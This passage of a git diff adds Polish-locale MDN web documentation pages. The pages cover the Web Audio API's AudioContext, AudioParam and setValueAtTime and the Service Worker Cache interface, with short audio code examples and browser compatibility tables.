+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>Creates a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>Creates a {{domxref("ConvolverNode")}}, which can be used to apply convolution effects to your audio graph, for example a reverberation effect.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>Creates a {{domxref("DelayNode")}}, which is used to delay the incoming audio signal by a certain amount. This node is also useful to create feedback loops in a Web Audio API graph.</dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Creates a {{domxref("DynamicsCompressorNode")}}, which can be used to apply acoustic compression to an audio signal.</dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>Creates a {{domxref("GainNode")}}, which can be used to control the overall volume of the audio graph.</dd>
+ <dt>{{domxref("AudioContext.createIIRFilter()")}}</dt>
+ <dd>Creates an {{domxref("IIRFilterNode")}}, which represents a second order filter configurable as several different common filter types.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>Creates an {{domxref("OscillatorNode")}}, a source representing a periodic waveform. It basically generates a tone.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>Creates a {{domxref("PannerNode")}}, which is used to spatialise an incoming audio stream in 3D space.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>Creates a {{domxref("PeriodicWave")}}, used to define a periodic waveform that can be used to determine the output of an {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>Creates a {{domxref("WaveShaperNode")}}, which is used to implement non-linear distortion effects.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>Creates an {{domxref("AudioWorkerNode")}}, which can interact with a web worker thread to generate, process, or analyse audio directly. This was added to the spec on August 29 2014, and is not implemented in any browser yet.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
+ <dd>Asynchronously decodes audio file data contained in an {{domxref("ArrayBuffer")}}. In this case, the ArrayBuffer is usually loaded from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>. This method only works on complete files, not fragments of audio files.</dd>
+ <dt>{{domxref("AudioContext.getOutputTimestamp()")}}</dt>
+ <dd>Returns a new <code>AudioTimestamp</code> containing two correlated context's audio stream position values: the <code>AudioTimestamp.contextTime</code> member contains the time of the sample frame which is currently being rendered by the audio output device (i.e., output audio stream position), in the same units and origin as context's {{domxref("AudioContext.currentTime")}}; the AudioTimestamp.performanceTime member contains the time estimating the moment when the sample frame corresponding to the stored contextTime value was rendered by the audio output device, in the same units and origin as {{domxref("performance.now()")}}.</dd>
+ <dt>{{domxref("AudioContext.resume()")}}</dt>
+ <dd>Resumes the progression of time in an audio context that has previously been suspended.</dd>
+ <dt>{{domxref("AudioContext.suspend()")}}</dt>
+ <dd>Suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing CPU/battery usage in the process.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
+ <dd>Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Basic audio context declaration:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();</pre>
+
+<p>Cross browser variant:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}<br>
+ 35</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(25.0)}} </td>
+ <td>{{CompatNo}}</td>
+ <td>15.0{{property_prefix("webkit")}}<br>
+ 22</td>
+ <td>6.0{{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>createStereoPanner()</code></td>
+ <td>{{CompatChrome(42.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(37.0)}} </td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(40.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>createConstantSource()</code></td>
+ <td>{{CompatChrome(56.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(52)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(43)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Unprefixed</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(37.0)}} </td>
+ <td>2.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>createStereoPanner()</code></td>
+ <td>{{CompatChrome(42.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(42.0)}}</td>
+ </tr>
+ <tr>
+ <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>createConstantSource()</code></td>
+ <td>{{CompatChrome(56.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(52)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(56.0)}}</td>
+ </tr>
+ <tr>
+ <td>Unprefixed</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOperaMobile(43)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+</ul>
diff --git a/files/pl/web/api/audioparam/index.html b/files/pl/web/api/audioparam/index.html
new file mode 100644
index 0000000000..390e9726f5
--- /dev/null
+++ b/files/pl/web/api/audioparam/index.html
@@ -0,0 +1,224 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+ - API
+ - Audio
+ - AudioParam
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Web Audio API
+translation_of: Web/API/AudioParam
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>The <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}). An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p>
+</div>
+
+<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p>
+
+<ul>
+ <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li>
+ <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames.</li>
+</ul>
+
+<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p>
+
+<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><code>AudioParam</code><em> Inherits properties from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Represents the parameter's current volume as a floating point value; initially set to the value of <code>AudioParam.defaultValue</code>. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the <code>AudioParam</code> — are ignored, without raising any exception.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>AudioParam<em> Inherits methods from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given in the <code>value</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by the <code>values</code> {{domxref("Float32Array")}} scaled to fit into the given interval, starting at <code>startTime</code>, and having a specific <code>duration</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods. The new value is given in the <code>value</code> parameter.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p>
+
+<pre class="brush: js;highlight[5]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p>
+
+<pre class="brush: js;highlight[6,7,8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audioparam-interface', 'AudioParam')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(14)}} {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(23)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td>Unprefixed</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>minValue</code> and <code>maxValue</code></td>
+ <td>{{CompatChrome(52)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>39</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>cancelAndHoldAtTime()</code></td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatChrome(28)}} {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(25)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td>Unprefixed</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>minValue</code> and <code>maxValue</code></td>
+ <td>{{CompatChrome(52)}}</td>
+ <td>{{CompatChrome(52)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>39</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>cancelAndHoldAtTime()</code></td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>{{CompatChrome(57)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/pl/web/api/audioparam/setvalueattime/index.html b/files/pl/web/api/audioparam/setvalueattime/index.html
new file mode 100644
index 0000000000..7d733e7b2b
--- /dev/null
+++ b/files/pl/web/api/audioparam/setvalueattime/index.html
@@ -0,0 +1,182 @@
+---
+title: AudioParam.setValueAtTime()
+slug: Web/API/AudioParam/setValueAtTime
+tags:
+ - API
+ - AudioParam
+ - Metodă
+ - Referencja
+ - Web Audio API
+ - setValueAtTime
+translation_of: Web/API/AudioParam/setValueAtTime
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Metoda <code>setValueAtTime()</code> interfejsu {{ domxref("AudioParam") }} odpowiada za precyzyjne przyporządkowanie nagłych zmian do wartości {{domxref("AudioParam")}} w określonym czasie względem {{domxref("AudioContext.currentTime")}}. Nowa wartość zostaje podana w wartości parametru.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Liczba zmiennoprzecinkowa reprezentująca wartość <code>AudioParam</code> przyporządkuje się do podanego czasu.</dd>
+ <dt>startTime</dt>
+ <dd>Zmienna <code>double </code>reprezentująca czas (w sekundach) po {{ domxref("AudioContext") }} została utworzona jako pierwsza, dzięki czemu dochodzi do zmiany wartości. {{jsxref("TypeError")}} zostanie zwrócony, jeśli uzyskana wartość jest negatywna.</dd>
+</dl>
+
+<h3 id="Zwracanie_wartości_funkcji_(return)">Zwracanie wartości funkcji (return)</h3>
+
+<p>Odnośnik do obiektu <code>AudioParam</code>. W niektórych przeglądarkach wprowadzenie tego interfejsu zaskutkuje zwróceniem pustego typu danych (<code>void</code>).</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Ten stosunkowo prosty przykład zawiera źródło mediaelementu z dwiema kontrolkami (sprawdź kod źródłowy poprzez nasze <a href="https://github.com/mdn/audio-param">repo audio-param</a> lub <a href="http://mdn.github.io/audio-param/">zobacz przykład live</a>). Jeśli kontrolki są wciśnięte, zmienna <code>currGain</code> jest inkrementowana/dekrementowana o 0.25. Wówczas metoda <code>setValueAtTime() </code>zostaje użyta do ustawienia wartości przedwzmacniacza (gain) jako równej currGain, jedną sekundę od teraz (audioCtx.currentTime + 1).</p>
+
+<pre class="brush: js;highlight[32,37]">// utworzenie kontekstu audio
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+// podanie podstawowych zmiennych dla przykładu
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+var targetAtTimePlus = document.querySelector('.set-target-at-time-plus');
+var targetAtTimeMinus = document.querySelector('.set-target-at-time-minus');
+
+// utworzenie MediaElementAudioSourceNode
+// wprowadzenie HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// utworzenie parametrów <span class="st">przedwzmacniacz</span>a (gain node) i ustawienie wartości przedwzmacniacza na wartość 0.5
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+var currGain = gainNode.gain.value;
+
+// podłączenie AudioBufferSourceNode do gainNode
+// oraz gainNode do destynacji
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// określenie, co ma się wykonać po kliknięciu
+targetAtTimePlus.onclick = function() {
+ currGain += 0.25;
+ gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}
+
+targetAtTimeMinus.onclick = function() {
+ currGain -= 0.25;
+ gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specifikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#widl-AudioParam-setValueAtTime-void-float-value-double-startTime', 'setValueAtTime')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatChrome(14)}} {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>23</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td>Bez prefiksu</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>25</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ <td>{{CompatChrome(28)}} {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td>Bez prefiksu</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li>
+</ul>
diff --git a/files/pl/web/api/cache/index.html b/files/pl/web/api/cache/index.html
new file mode 100644
index 0000000000..a4c75fd8d0
--- /dev/null
+++ b/files/pl/web/api/cache/index.html
@@ -0,0 +1,121 @@
+---
+title: Cache
+slug: Web/API/Cache
+translation_of: Web/API/Cache
+---
+<div>{{draft}} {{APIRef("Service Workers API")}}</div>
+
+<p>Interfejs <code>Cache</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkera API</a> reprezentuje magazyn dla par obiektu<code> <a href="http://fetch.spec.whatwg.org/#request">żądania</a></code> oraz obiektu <code><a href="http://fetch.spec.whatwg.org/#request">odpowiedzi</a></code>, które są cache'owane jako część cyklu życia {{domxref("ServiceWorker", "ServiceWorkera")}}. Domena może mieć wielokrotne nazwane obiekty <code>Cache</code>, których zawartość jest pod całkowitą kontrolą service workerów.</p>
+
+<p>Każdy obiekt <code>Cache</code> jest kolekcją par klucz/wartość. By w pełni zarządzać zawartością cache'ów (by następnie użyć je offline), interfejs ten dostarcza metody w dużej mierze zgodne z obiektem {{jsxref("Map")}}, jednakże wraz z dodatkowymi, poręcznymi metodami.</p>
+
+<p>Jesteś odpowiedzialny za sposób zarządzania aktualizacjami <code>Cache'u</code> przez {{domxref("ServiceWorker", "ServiceWorkera")}}. Elementy w <code>Cache'u</code> nie są aktualizowane, chyba że jest to wyraźnie zażądane; nie wygasają jeżeli nie usunięte. Użyj {{domxref("CacheStorage.open", "CacheStorage.open(nazwa)")}}, by otworzyć własny, określony obiekt <code>Cache'u</code>, a następnie wywołać jakąkolwiek z jego metod, by nim operować.</p>
+
+<p>Również do Ciebie należy okresowe opróżnianie wpisów cache'u. Każda przeglądarka ma określony limit powierzchni, który może zostać użyty przez danego service workera. Upewnij się, że opisujesz cache'y poprzez nazwy oraz używasz cache tylko z danej wersji {{domxref("ServiceWorker", "ServiceWorkera")}}, ażeby mogły one bezpiecznie na nich pracować.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{domxref("Cache.options")}}</dt>
+ <dd>Opcjonalny parametr przekazywany do metod: {{domxref("Cache.match", "Cache.match(żądanie, opcje)")}}, {{domxref("Cache.add", "Cache.add(żądanie)")}} i {{domxref("Cache.keys", "Cache.keys(żądanie, opcje)")}} z poniższymi atrybutami: <code>ignoreSearch</code>, <code>ignoreMethod</code>, <code>ignoreVary</code>, <code>prefixMatch</code>, <code>cacheName</code>.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(żądanie, opcje)")}}</dt>
+ <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do pierwszego pasującego żądania w obiekcie {{domxref("Cache", "Cache'u")}}.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(żądanie)")}}</dt>
+ <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do nowego wpisu {{domxref("Cache", "Cache'u")}}, którego kluczem jest żądanie. Ta metoda nadal jest w trakcie tworzenia (zobacz <a href="http://crbug.com/427652">http://crbug.com/427652</a>). Póki co używaj <a href="https://github.com/coonsta/cache-polyfill">ServiceWorker cache polyfill</a>.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(żądania)")}}</dt>
+ <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do nowego szeregu złożonego z wpisów {{domxref("Cache", "Cache'u")}}, którego kluczami są żądania. Metoda ta jest nadal w trakcie tworzenia (zobacz <a href="http://crbug.com/427652">http://crbug.com/427652</a>). Póki co używaj <a href="https://github.com/coonsta/cache-polyfill">ServiceWorker cache polyfill</a>.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(żądanie, odpowiedź)")}}</dt>
+ <dd>Dodaje dodatkowe pary klucz/wartość do aktualnego obiektu {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(żądanie, opcje)")}}</dt>
